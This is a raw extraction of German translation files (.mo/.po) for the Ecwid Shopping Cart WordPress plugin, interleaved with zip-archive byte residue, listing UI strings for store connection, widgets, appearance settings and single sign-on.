href="http://www.ecwid.com/compare-plans.html" target="_blank">paid users</a> only.�In order to set this option, <a %s>find an ID of the necessary category</a> and save it here.�List�List view�Manage my store�Manage plugin settings�More than 700,000 merchants in 175 countries�Never show this message again�New features available, reconnect to be in touch with our updates�No credit card required�Now you can fine-tune your store's appearance�Number of categories per row�Number of products per page�Number of products to show�Open control panel�Or you can add search box to your website's toolbar using <a href="%s">WordPress native widgets</a>�Or you can add vertical categories to your website's toolbar using <a href="%s">WordPress native widgets</a>�PCI-DSS Certified�Plugin is installed successfully!�Price�Product catalog will be shown automatically�Questions? Visit <a %s>Ecwid support center</a>�Questions? Visit <a href="http://help.ecwid.com/?source=wporg">Ecwid support center</a>�Rate Ecwid at WordPress.org�Recently Viewed Products�Reconnect Ecwid store�Reconnect your store<br /> to this WordPress site�Register�Register at Ecwid for free�Responsive design�Save changes�Secure checkout with over 40<br />payment options�Sell Everywhere<br>with your Ecwid store�Set up Ecwid Store�Setup�Shop�Show horizontal categories�Show minicart�Show search�Single Sign-On Secret Key�Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website.�Start selling�Start selling <br>on your WordPress <nobr>site for free</nobr>�Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com.�Store�Store ID�Store root category�Store settings�Table�Table view�Take a few simple steps to complete store setup�There are few little steps left to start selling<br /> on your WordPress site�There are just a few steps left to start selling<br /> on your WordPress site�To add extra functions to your store, drag and drop Ecwid store elements on your site. When you're done, you can get back to modifying your settings.�Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store.�Vertical menu of categories�Visit Storefront�Visit storefront�You should disable this option, if you added minicart to your website's sidebar�You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site�Your Ecwid store is connected<br /> to your WordPress website�Your Ecwid store is now connected<br /> to your WordPress website�Your store is almost ready!�Your store looks perfect<br />on all devices�Your store will be shown here!�Your store's minicart�Your store's search box�Your storefront is ready�→ Sell on Facebook�Project-Id-Version: POT-Creation-Date: PO-Revision-Date: Last-Translator: Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: de_DE X-Generator: Poedit 2.2.1 �<a %s>Onlineshop von Ecwid</a>�ein Link zu Ihrer Shopseite�Eine Liste von Artikeln, die kürzlich von Kunden angezeigt wurden. Fügen Sie dieses Widget der Seitenleiste hinzu, damit Kunden später zu von ihnen bereits angesehenen Artikeln zurückkehren können.�Shop hinzufügen�Fügen Sie Ihrer Website Ihren Ecwid-Shop <nobr>mit nur zwei Klicks</nobr> hinzu�Zusätzlich können Sie der Funktionsleiste Ihrer Website Shopsteuerelemente mit <a %s>eigenen WordPress-Widgets</a> hinzufügen�Erweitert�Erweiterte Einstellungen�Nach Klick auf die Schaltfläche müssen Sie sich einloggen und zur Nutzung unseres Plugins Zugriffsrechte erteilen�Sie haben bereits ein Ecwid-Konto?�Anzeige�Anzeigeneinstellungen�Zurück zu Shopeinstellungen�Standardmäßig zeigt der Shop eine Liste von Grundkategorien an. Sie können diese Einstellung überschreiben und eine andere Kategorie anzeigen, wenn Kunden Ihren Shop zum ersten Mal öffnen. Dies ist sinnvoll, wenn Sie nur eine Kategorie haben oder allen neuen Besuchern einen bestimmten Satz von Artikeln (z.B. "Ausgewählte Produkte") anzeigen möchten.�standardmäßig angezeigte Kategorie�Anzuzeigende Widgets wählen�Mit Ihrem Design kompatibel�Ansicht konfigurieren�Herzlichen Glückwunsch!�Verbinden�Ecwid-Shop verbinden�Ecwid-Shop verbinden�Verbinden Sie Ihr Ecwid-Konto mit dieser Website, um die Einrichtung durchzuführen und mit dem Verkauf zu beginnen�Verbinden Sie Ihren Ecwid-Shop mit dieser Website <nobr>mit nur zwei Klicks</nobr>�Shop verbinden�Shop mit WordPress-Website verbinden�Shop mit dieser Website verbinden�Verbinden Sie Ihren Shop<br />mit dieser WordPress-Website�Verbindungsfehler - nach Klick auf die Schaltfläche müssen Sie sich einloggen und zur Nutzung unseres Plugins Zugriffsrechte erteilen. Bitte versuchen Sie es erneut.�Verbindungsfehler: Bitte klicken Sie erneut auf die Schaltfläche und erteilen Sie Zugriffsrechte für dieses Plugin,<br />um Ihren Ecwid-Shop auf dieser Website anzuzeigen.�Ecwid-Shop erstellen�Erstellen Sie ein kostenloses Ecwid-Konto, um Shop und Lagerbestand zu verwalten.<br />Kreditkarte nicht erforderlich�Hauptmenü�Standardkategorien-ID�Standardanzeigemodus auf Artikelseiten�Standardanzeigemodus für Suchergebnisse�Demoshop�Demoshop�Shopverbindung trennen�horizontale Kategorien oberhalb der Artikel anzeigen�Suchfeld oberhalb der Artikel anzeigen�Gefällt Ihnen Ihr Ecwid-Onlineshop? Wir würden uns freuen, wenn Sie Ihren Kommentar und Bewertung für das Plugin auf der WordPress-Website hinterließen.�Haben Sie noch kein Ecwid-Konto? Legen Sie hier eins an�Sie haben noch kein Ecwid-Konto?�Ecwid-Abzeichen�Ecwid-Suchfeld�Ecwid-Warenkorb (Miniansicht)�Ecwid-Warenkorb (normal)�Ecwid-Onlineshop — Erweiterte Einstellungen�Ecwid-Onlineshop — Anzeigeneinstellungen�Ecwid-Onlineshop�Link zur Ecwid-Shopseite�Ecwid-Team�Ecwid vertikale Kategorien�Ecwid Ecommerce-Widgets�Ecwid Ecommerce-Lösung�Ecwid kostenloser Onlineshop�Ecwid ist ein kostenloser, leistungsstarker Onlineshop. Er ist kinderleicht in jedes WordPress-Blog integrierbar und in weniger als 5 Minuten eingerichtet.�Ecwid ist mit Ihrem vorgefertigten<br>WordPress Design "%s"<br>kompatibel.�Ecwid-Plugineinstellungen�Ecwid Onlineshop�Ecwid Onlineshop-Einstellungen�Ecwid Onlineshop-Widget�Ansicht bearbeiten�Shop bearbeiten�Miniwarenkorb Ihres Shops an horizontale Kategorien heften�Funktionen�Kostenlos und immer aktuell�Kostenlose Pakete immer mit unzähligen Funktionen<br>ohne zusätzliche Kosten. Reibungslose Aktualisierungen werden<br>automatisch und kostenlos durchgeführt.�Kostenlose Anmeldung, keine Kreditkarte erforderlich�Steigen Sie jetzt ein, erstellen Sie ein Ecwid-Konto�Hilfe�Jetzt online verkaufen�globale Reichweite�zur Ecwid-Website�Gute Arbeit! Ihr Shop ist eingerichtet und Sie können mit dem Verkauf loslegen.�Hallo!�Hallo! Ihr Ecwid-Shop ist jetzt aktiv.�Gitter�Gitteransicht�Hier können Sie einstellen, wie viele Artikel pro Seite angezeigt werden sollen. Diese Optionen legen Maximalwerte fest. Falls nicht ausreichend Platz ist, um alle Artikelspalten anzuzeigen, passt Ecwid zur Berücksichtigung aller Artikel die Anzahl der Spalten an.�ausgeblendete Kategorie�Wenn Ihnen Ecwid gefällt und Sie uns dabei unterstützen möchten, die beliebteste Ecommerce-Lösung zu werden, können Sie Ihrer Website jetzt ein schickes Abzeichen mit "Bereitgestellt von Ecwid" hinzufügen, um Ihre Websitebesucher darauf aufmerksam zu machen, dass Sie ein stolzer Nutzer von Ecwid sind.�Zur Aktivierung dieser Funktion wählen Sie die Verwendung eines Sicherheitsschlüssels. Diesen Schlüssel finden Sie in Ihrem Ecwid-Steuermenü unter "Systemeinstellungen > Apps > Alte API-Schlüssel > Sicherheitsschlüssel einmaliges Einloggen". Diese Funktion ist nur bei <a href="http://www.ecwid.com/compare-plans.html" target="_blank">kostenpflichtigen Paketen</a> verfügbar.�Zur Einstellung dieser Option <a %s>suchen Sie die ID der nötigen Kategorie</a> und speichern Sie diese hier.�Liste�Listenansicht�Shop verwalten�Plugin-Einstellungen verwalten�über 700.000 Verkäufer in 175 Ländern�diese Meldung nicht mehr anzeigen�Neue Funktionen verfügbar, stellen Sie die Verbindung wieder her, um unsere Aktualisierungen zu erhalten�Kreditkarte nicht erforderlich�Jetzt können Sie die Ansicht Ihres Shops abrunden�Anzahl Kategorien pro Zeile�Anzahl Kategorien pro Seite�Anzahl der anzuzeigenden Artikel�Steuermenü öffnen�Oder fügen Sie der Toolbar Ihrer Website mit den <a href="%s">vorhandenen WordPress-Widgets</a> ein Suchfeld hinzu�Oder fügen Sie der Toolbar Ihrer Website mit den <a href="%s">vorhandenen WordPress-Widgets</a> vertikale Kategorien hinzu�PCI-DSS-zertifiziert�Plugin erfolgreich installiert!�Preis�Artikelkatalog wird automatisch angezeigt�Fragen? Gehen Sie zum <a %s>Ecwid-Hilfebereich</a>�Fragen? Wechseln Sie zum <a href="http://help.ecwid.com/?source=wporg">Ecwid-Supportcenter</a>�Bewerten Sie Ecwid auf WordPress.org�Zuletzt angezeigte Artikel�Ecwid-Shop wieder verbinden�Shop mit dieser WordPress-Website<br />wieder verbinden�Anmelden�Kostenlos bei Ecwid anmelden�Adaptives Design�Änderungen speichern�sichere Zahlung mit über 40<br />Zahlungsoptionen�Mit Ecwid-Shop<br>überall verkaufen�Ecwid-Shop einrichten�Einrichtung�Shop�Kategorien horizontal anzeigen�Miniwarenkorb anzeigen�Suche anzeigen�Single-Sign-on-Sicherheitsschlüssel�Diese optionale Funktion bietet Single-Sign-On: Wenn Kunden auf Ihrer Website eingeloggt sind, sind sie automatisch auch in Ihrem Ecwid-Onlineshop eingeloggt, selbst wenn sie bisher noch kein Konto für den Shop hatten. Die Aktivierung dieser Funktion ist sinnvoll, wenn Ihre Besucher eigentlich Konten auf Ihrer WordPress-Website erstellen.�Mit Verkauf beginnen�Verkaufen Sie jetzt kostenlos<br>auf Ihrer WordPress-<nobr>Website</nobr>�Verkaufen Sie jetzt auf Ihrer WordPress-Website. Spiegeln Sie dann Ihren Shop auf Ihrer Facebook-Seite, Blog und Onlinemarktplätzen wie Google Shopping, Yahoo und Shopping.com.�Shop�Shop-ID�Shop-Grundkategorie�Shopeinstellungen�Tabelle�Tabellenansicht�Führen Sie ein paar einfache Schritte zur Einrichtung Ihres Shops durch�Nur noch wenige Schritte bis zum Verkaufsstart<br />auf Ihrer WordPress-Website�Nur noch wenige Schritte bis zum Verkaufsstart<br />auf Ihrer WordPress-Website�Um Ihrem Shop zusätzliche Funktionen hinzuzufügen, ziehen Sie Ecwid-Shop-Elemente auf Ihre Website und legen Sie sie ab. Anschließend können Sie zur Anpassung Ihrer Einstellungen zurückgehen.�Verwenden Sie die mobile Ecwid-Verkaufsstelle zum Einlesen von Kreditkarten und dem Verkauf von unterwegs. Bestellungen und Lagerbestand werden stets mit Ihrem Onlineshop synchronisiert.�Vertikale Kategoriennavigation�zur Shopansicht�zum Shop�Diese Option sollten Sie deaktivieren, wenn Sie den Miniwarenkorb der Seitenleiste Ihrer Website hinzugefügt haben�Sie werden zum Einloggen in Ihr Ecwid-Steuermenü <br />und zur Erteilung von Zugriffsrechten aufgefordert, um Ihren Shop auf dieser Website anzuzeigen.�Ihr Ecwid-Shop ist mit Ihrer<br />WordPress-Website verbunden�Ihr Ecwid-Shop ist jetzt mit Ihrer<br />WordPress-Website verbunden�Ihr Shop ist fast fertig!�Ihr Shop sieht auf allen<br />Endgeräten perfekt aus�Hier wird Ihr Shop angezeigt!�Miniwarenkorb Ihres Shops�Suchfeld Ihres Shops�Shopansicht ist fertig�→ auf Facebook verkaufen�PK������Ê—[rŠÎNâF��âF��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-de_DE.ponu�„[µü¤��������msgid "Ecwid Shopping Cart" msgstr "" msgid "Ecwid Team" msgstr "Ecwid-Team" msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid ist ein kostenloser, leistungsstarker Onlineshop. Er ist kinderleicht in jedes WordPress-Blog integrierbar und in weniger als 5 Minuten eingerichtet." msgid "Get help" msgstr "Hilfe" msgid "Go to Ecwid site" msgstr "zur Ecwid-Website" msgid "Visit storefront" msgstr "zum Shop" msgid "Manage my store" msgstr "Shop verwalten" msgid "Manage plugin settings" msgstr "Plugin-Einstellungen verwalten" msgid "→ Sell on Facebook" msgstr "→ auf Facebook verkaufen" msgid "<a %s>Online store powered by Ecwid</a>" msgstr "<a %s>Onlineshop von Ecwid</a>" msgid "Store" msgstr "Shop" msgid "Ecwid shopping cart settings" msgstr "Ecwid Onlineshop-Einstellungen" msgid "Ecwid Store" msgstr "Ecwid-Onlineshop" msgid "Setup" msgstr "Einrichtung" msgid "Dashboard" msgstr "Hauptmenü" msgid "Appearance settings" msgstr "Anzeigeneinstellungen" msgid "Appearance" msgstr "Anzeige" msgid "Advanced settings" msgstr "Erweiterte Einstellungen" msgid "Advanced" msgstr "Erweitert" msgid "Hidden category" msgstr "ausgeblendete Kategorie" msgid "If you like Ecwid and want to help it grow and become the most popular e-commerce solution, you can now add a fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "Wenn Ihnen Ecwid gefällt und Sie uns dabei unterstützen möchten, die beliebteste Ecommerce-Lösung zu werden, können Sie Ihrer Website jetzt ein schickes Abzeichen mit \"Bereitgestellt von Ecwid\" hinzufügen, um Ihre Websitebesucher darauf aufmerksam zu machen, dass Sie ein stolzer Nutzer von Ecwid sind." msgid "Ecwid Badge" msgstr "Ecwid-Abzeichen" msgid "Ecwid shopping cart widget" msgstr "Ecwid Onlineshop-Widget" msgid "Ecwid ecommerce solution" msgstr "Ecwid Ecommerce-Lösung" msgid "Ecwid free shopping cart" msgstr "Ecwid kostenloser Onlineshop" msgid "Ecwid shopping cart" msgstr "Ecwid Onlineshop" msgid "Ecwid e-commerce widgets" msgstr "Ecwid Ecommerce-Widgets" msgid "Your store's minicart" msgstr "Miniwarenkorb Ihres Shops" msgid "Ecwid Shopping Bag (Normal)" msgstr "Ecwid-Warenkorb (normal)" msgid "Ecwid Shopping Bag (Mini view)" msgstr "Ecwid-Warenkorb (Miniansicht)" msgid "Your store's search box" msgstr "Suchfeld Ihres Shops" msgid "Ecwid Search Box" msgstr "Ecwid-Suchfeld" msgid "Vertical menu of categories" msgstr "Vertikale Kategoriennavigation" msgid "Ecwid Vertical Categories" msgstr "Ecwid vertikale Kategorien" msgid "A link to your store page" msgstr "ein Link zu Ihrer Shopseite" msgid "Ecwid Store Page Link" msgstr "Link zur Ecwid-Shopseite" msgid "Shop" msgstr "Shop" msgid "A list of products recently viewed by a customer. Add this widget to the sidebar to let them later return to the products they saw in your shop." msgstr "Eine Liste von Artikeln, die kürzlich von Kunden angezeigt wurden. Fügen Sie dieses Widget der Seitenleiste hinzu, damit Kunden später zu von ihnen bereits angesehenen Artikeln zurückkehren können." msgid "Recently Viewed Products" msgstr "Zuletzt angezeigte Artikel" msgid "Number of products to show" msgstr "Anzahl der anzuzeigenden Artikel" msgid "Greetings! Your Ecwid store is now active." msgstr "Hallo! Ihr Ecwid-Shop ist jetzt aktiv." msgid "Take a few simple steps to complete store setup" msgstr "Führen Sie ein paar einfache Schritte zur Einrichtung Ihres Shops durch" msgid "Set up Ecwid Store" msgstr "Ecwid-Shop einrichten" msgid "Good job! Your store is set up and you're ready to sell." msgstr "Gute Arbeit! Ihr Shop ist eingerichtet und Sie können mit dem Verkauf loslegen." msgid "Now you can fine-tune your store's appearance" msgstr "Jetzt können Sie die Ansicht Ihres Shops abrunden" msgid "Visit Storefront" msgstr "zur Shopansicht" msgid "Configure Appearance" msgstr "Ansicht konfigurieren" msgid "Your store is almost ready!" msgstr "Ihr Shop ist fast fertig!" msgid "Connect your Ecwid account with this site to complete setup and start selling" msgstr "Verbinden Sie Ihr Ecwid-Konto mit dieser Website, um die Einrichtung durchzuführen und mit dem Verkauf zu beginnen" msgid "Connect Your Ecwid Store" msgstr "Ecwid-Shop verbinden" msgid "To add extra functions to your store, drag and drop Ecwid store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Um Ihrem Shop zusätzliche Funktionen hinzuzufügen, ziehen Sie Ecwid-Shop-Elemente auf Ihre Website und legen Sie sie ab. Anschließend können Sie zur Anpassung Ihrer Einstellungen zurückgehen." msgid "Back to Store Settings" msgstr "Zurück zu Shopeinstellungen" msgid "Do you like your Ecwid online store? We'd appreciate it if you add your review and vote for the plugin on Wordpress site." msgstr "Gefällt Ihnen Ihr Ecwid-Onlineshop? Wir würden uns freuen, wenn Sie Ihren Kommentar und Bewertung für das Plugin auf der WordPress-Website hinterließen." msgid "Rate Ecwid at WordPress.org" msgstr "Bewerten Sie Ecwid auf WordPress.org" msgid "Add Store" msgstr "Shop hinzufügen" msgid "Edit Store" msgstr "Shop bearbeiten" msgid "Edit Appearance" msgstr "Ansicht bearbeiten" msgid "Price" msgstr "Preis" msgid "Never show this message again" msgstr "diese Meldung nicht mehr anzeigen" msgid "Ecwid Shopping Cart — Advanced settings" msgstr "Ecwid-Onlineshop — Erweiterte Einstellungen" msgid "Category shown by default" msgstr "standardmäßig angezeigte Kategorie" msgid "Store root category" msgstr "Shop-Grundkategorie" msgid "Default category ID" msgstr "Standardkategorien-ID" msgid "By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. \"Featured Products\") to new visitors." msgstr "Standardmäßig zeigt der Shop eine Liste von Grundkategorien an. Sie können diese Einstellung überschreiben und eine andere Kategorie anzeigen, wenn Kunden Ihren Shop zum ersten Mal öffnen. Dies ist sinnvoll, wenn Sie nur eine Kategorie haben oder allen neuen Besuchern einen bestimmten Satz von Artikeln (z.B. \"Ausgewählte Produkte\") anzeigen möchten." msgid "In order to set this option, <a %s>find an ID of the necessary category</a> and save it here." msgstr "Zur Einstellung dieser Option <a %s>suchen Sie die ID der nötigen Kategorie</a> und speichern Sie diese hier." msgid "Single Sign-On Secret Key" msgstr "Single-Sign-on-Sicherheitsschlüssel" msgid "Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website." msgstr "Diese optionale Funktion bietet Single-Sign-On: Wenn Kunden auf Ihrer Website eingeloggt sind, sind sie automatisch auch in Ihrem Ecwid-Onlineshop eingeloggt, selbst wenn sie bisher noch kein Konto für den Shop hatten. Die Aktivierung dieser Funktion ist sinnvoll, wenn Ihre Besucher eigentlich Konten auf Ihrer WordPress-Website erstellen." msgid "In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at \"System Settings > Apps > Legacy API Keys > Single Sign-On Secret Key\" page. This feature is available for <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">paid users</a> only." msgstr "Zur Aktivierung dieser Funktion wählen Sie die Verwendung eines Sicherheitsschlüssels. Diesen Schlüssel finden Sie in Ihrem Ecwid-Steuermenü unter \"Systemeinstellungen > Apps > Alte API-Schlüssel > Sicherheitsschlüssel einmaliges Einloggen\". Diese Funktion ist nur bei <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">kostenpflichtigen Paketen</a> verfügbar." msgid "Save changes" msgstr "Änderungen speichern" msgid "Ecwid Shopping Cart — Appearance settings" msgstr "Ecwid-Onlineshop — Anzeigeneinstellungen" msgid "Display search box above products" msgstr "Suchfeld oberhalb der Artikel anzeigen" msgid "Or you can add search box to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Oder fügen Sie der Toolbar Ihrer Website mit den <a href=\"%s\">vorhandenen WordPress-Widgets</a> ein Suchfeld hinzu" msgid "Display horizontal categories above products" msgstr "horizontale Kategorien oberhalb der Artikel anzeigen" msgid "Or you can add vertical categories to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Oder fügen Sie der Toolbar Ihrer Website mit den <a href=\"%s\">vorhandenen WordPress-Widgets</a> vertikale Kategorien hinzu" msgid "Enable minicart attached to horizontal categories" msgstr "Miniwarenkorb Ihres Shops an horizontale Kategorien heften" msgid "You should disable this option, if you added minicart to your website's sidebar" msgstr "Diese Option sollten Sie deaktivieren, wenn Sie den Miniwarenkorb der Seitenleiste Ihrer Website hinzugefügt haben" msgid "Number of categories per row" msgstr "Anzahl Kategorien pro Zeile" msgid "Number of products per page" msgstr "Anzahl Kategorien pro Seite" msgid "Grid view" msgstr "Gitteransicht" msgid "List view" msgstr "Listenansicht" msgid "Table view" msgstr "Tabellenansicht" msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products." msgstr "Hier können Sie einstellen, wie viele Artikel pro Seite angezeigt werden sollen. Diese Optionen legen Maximalwerte fest. Falls nicht ausreichend Platz ist, um alle Artikelspalten anzuzeigen, passt Ecwid zur Berücksichtigung aller Artikel die Anzahl der Spalten an." msgid "Default view mode on product pages" msgstr "Standardanzeigemodus auf Artikelseiten" msgid "Grid" msgstr "Gitter" msgid "List" msgstr "Liste" msgid "Table" msgstr "Tabelle" msgid "Default view mode on search results" msgstr "Standardanzeigemodus für Suchergebnisse" msgid "Connect your store<br /> to this WordPress site" msgstr "Verbinden Sie Ihren Shop<br />mit dieser WordPress-Website" msgid "Connect Ecwid store" msgstr "Ecwid-Shop verbinden" msgid "After clicking button you need to login and accept permissions to use our plugin" msgstr "Nach Klick auf die Schaltfläche müssen Sie sich einloggen und zur Nutzung unseres Plugins Zugriffsrechte erteilen" msgid "Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again." msgstr "Verbindungsfehler - nach Klick auf die Schaltfläche müssen Sie sich einloggen und zur Nutzung unseres Plugins Zugriffsrechte erteilen. Bitte versuchen Sie es erneut." msgid "Don't have Ecwid account? Create it here" msgstr "Haben Sie noch kein Ecwid-Konto? Legen Sie hier eins an" msgid "Questions? Visit <a %s>Ecwid support center</a>" msgstr "Fragen? Gehen Sie zum <a %s>Ecwid-Hilfebereich</a>" msgid "Store ID" msgstr "Shop-ID" msgid "Disconnect store" msgstr "Shopverbindung trennen" msgid "Congratulations!" msgstr "Herzlichen Glückwunsch!" msgid "Your Ecwid store is now connected<br /> to your WordPress website" msgstr "Ihr Ecwid-Shop ist jetzt mit Ihrer<br />WordPress-Website verbunden" msgid "Greetings!" msgstr "Hallo!" msgid "Your Ecwid store is connected<br /> to your WordPress website" msgstr "Ihr Ecwid-Shop ist mit Ihrer<br />WordPress-Website verbunden" msgid "Open control panel" msgstr "Steuermenü öffnen" msgid "Plugin is installed successfully!" msgstr "Plugin erfolgreich installiert!" msgid "There are just a few steps left to start selling<br /> on your WordPress site" msgstr "Nur noch wenige Schritte bis zum Verkaufsstart<br />auf Ihrer WordPress-Website" msgid "There are few little steps left to start selling<br /> on your WordPress site" msgstr "Nur noch wenige Schritte bis zum Verkaufsstart<br />auf Ihrer WordPress-Website" msgid "Register" msgstr "Anmelden" msgid "Create a free Ecwid account to manage your store and inventory.<br /> No credit card required" msgstr "Erstellen Sie ein kostenloses Ecwid-Konto, um Shop und Lagerbestand zu verwalten.<br />Kreditkarte nicht erforderlich" msgid "Connect" msgstr "Verbinden" msgid "Add your Ecwid store to your site <nobr>in two clicks</nobr>" msgstr "Fügen Sie Ihrer Website Ihren Ecwid-Shop <nobr>mit nur zwei Klicks</nobr> hinzu" msgid "Connect your Ecwid store to this site <nobr>in two clicks</nobr>" msgstr "Verbinden Sie Ihren Ecwid-Shop mit dieser Website <nobr>mit nur zwei Klicks</nobr>" msgid "Start selling" msgstr "Mit Verkauf beginnen" msgid "Your storefront is ready" msgstr "Shopansicht ist fertig" msgid "Create Ecwid store" msgstr "Ecwid-Shop erstellen" msgid "Connect your store" msgstr "Shop verbinden" msgid "Free registration, No credit card required" msgstr "Kostenlose Anmeldung, keine Kreditkarte erforderlich" msgid "Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site." msgstr "Verbindungsfehler: Bitte klicken Sie erneut auf die Schaltfläche und erteilen Sie Zugriffsrechte für dieses Plugin,<br />um Ihren Ecwid-Shop auf dieser Website anzuzeigen." msgid "You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site" msgstr "Sie werden zum Einloggen in Ihr Ecwid-Steuermenü <br />und zur Erteilung von Zugriffsrechten aufgefordert, um Ihren Shop auf dieser Website anzuzeigen." msgid "Already have Ecwid account?" msgstr "Sie haben bereits ein Ecwid-Konto?" msgid "Connect your store to Wordpress site" msgstr "Shop mit WordPress-Website verbinden" msgid "Don't have an Ecwid account?" msgstr "Sie haben noch kein Ecwid-Konto?" msgid "Register at Ecwid for free" msgstr "Kostenlos bei Ecwid anmelden" msgid "No credit card required" msgstr "Kreditkarte nicht erforderlich" msgid "Get ready to sell online" msgstr "Jetzt online verkaufen" msgid "Sell Everywhere<br>with your Ecwid store" msgstr "Mit Ecwid-Shop<br>überall verkaufen" msgid "Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com." msgstr "Verkaufen Sie jetzt auf Ihrer WordPress-Website. Spiegeln Sie dann Ihren Shop auf Ihrer Facebook-Seite, Blog und Onlinemarktplätzen wie Google Shopping, Yahoo und Shopping.com." msgid "Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store." msgstr "Verwenden Sie die mobile Ecwid-Verkaufsstelle zum Einlesen von Kreditkarten und dem Verkauf von unterwegs. Bestellungen und Lagerbestand werden stets mit Ihrem Onlineshop synchronisiert." msgid "Features" msgstr "Funktionen" msgid "Compatible with your theme" msgstr "Mit Ihrem Design kompatibel" msgid "Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box." msgstr "Ecwid ist mit Ihrem vorgefertigten<br>WordPress Design \"%s\"<br>kompatibel." msgid "Free and always up to date" msgstr "Kostenlos und immer aktuell" msgid "Free plan always available with tons of features<br>at no additional cost. Seamless upgrades occur<br>automatically for free." msgstr "Kostenlose Pakete immer mit unzähligen Funktionen<br>ohne zusätzliche Kosten. Reibungslose Aktualisierungen werden<br>automatisch und kostenlos durchgeführt." msgid "Responsive design" msgstr "Adaptives Design" msgid "Your store looks perfect<br />on all devices" msgstr "Ihr Shop sieht auf allen<br />Endgeräten perfekt aus" msgid "PCI-DSS Certified" msgstr "PCI-DSS-zertifiziert" msgid "Secure checkout with over 40<br />payment options" msgstr "sichere Zahlung mit über 40<br />Zahlungsoptionen" msgid "Global Reach" msgstr "globale Reichweite" msgid "More than 700,000 merchants in 175 countries" msgstr "über 700.000 Verkäufer in 175 Ländern" msgid "Start selling <br>on your WordPress <nobr>site for free</nobr>" msgstr "Verkaufen Sie jetzt kostenlos<br>auf Ihrer WordPress-<nobr>Website</nobr>" msgid "Get Started, Create Ecwid Account" msgstr "Steigen Sie jetzt ein, erstellen Sie ein Ecwid-Konto" msgid "Connect your store to this site" msgstr "Shop mit dieser Website verbinden" msgid "Reconnect your store<br /> to this WordPress site" msgstr "Shop mit dieser WordPress-Website<br />wieder verbinden" msgid "Reconnect Ecwid store" msgstr "Ecwid-Shop wieder verbinden" msgid "New features available, reconnect to be in touch with our updates" msgstr "Neue Funktionen verfügbar, stellen Sie die Verbindung wieder her, um unsere Aktualisierungen zu erhalten" msgid "Questions? Visit <a href=\"http://help.ecwid.com/?source=wporg\">Ecwid support center</a>" msgstr "Fragen? Wechseln Sie zum <a href=\"http://help.ecwid.com/?source=wporg\">Ecwid-Supportcenter</a>" msgid "Store settings" msgstr "Shopeinstellungen" msgid "Choose widgets to show" msgstr "Anzuzeigende Widgets wählen" msgid "Product catalog will be shown automatically" msgstr "Artikelkatalog wird automatisch angezeigt" msgid "Show search" msgstr "Suche anzeigen" msgid "Show minicart" msgstr "Miniwarenkorb anzeigen" msgid "Show horizontal categories" msgstr "Kategorien horizontal anzeigen" msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Zusätzlich können Sie der Funktionsleiste Ihrer Website Shopsteuerelemente mit <a %s>eigenen WordPress-Widgets</a> hinzufügen" msgid "Demo store" msgstr "Demoshop" msgid "Ecwid plugin settings" msgstr "Ecwid-Plugineinstellungen" msgid "Your store will be shown here!" msgstr "Hier wird Ihr Shop angezeigt!" msgid "Demo Store" msgstr "Demoshop" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_AR.monu�„[µü¤�������� msgstr "Ihr %s-Shop verfügt über " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Ihr WooCommerce-Shop verfügt über " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "%s-Shop" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s Produkte" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s Produkte und %s Kategorien" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Produkt" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Warnung: Einige Funktionen Ihres Onlineshops sind deaktiviert. Bitte wenden Sie sich zur Lösung des Problems an Ihren Hostingprovider." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Ein neues Konto erstellen" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrieren bei %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Unten links" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Oben links" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Auf allen Seiten 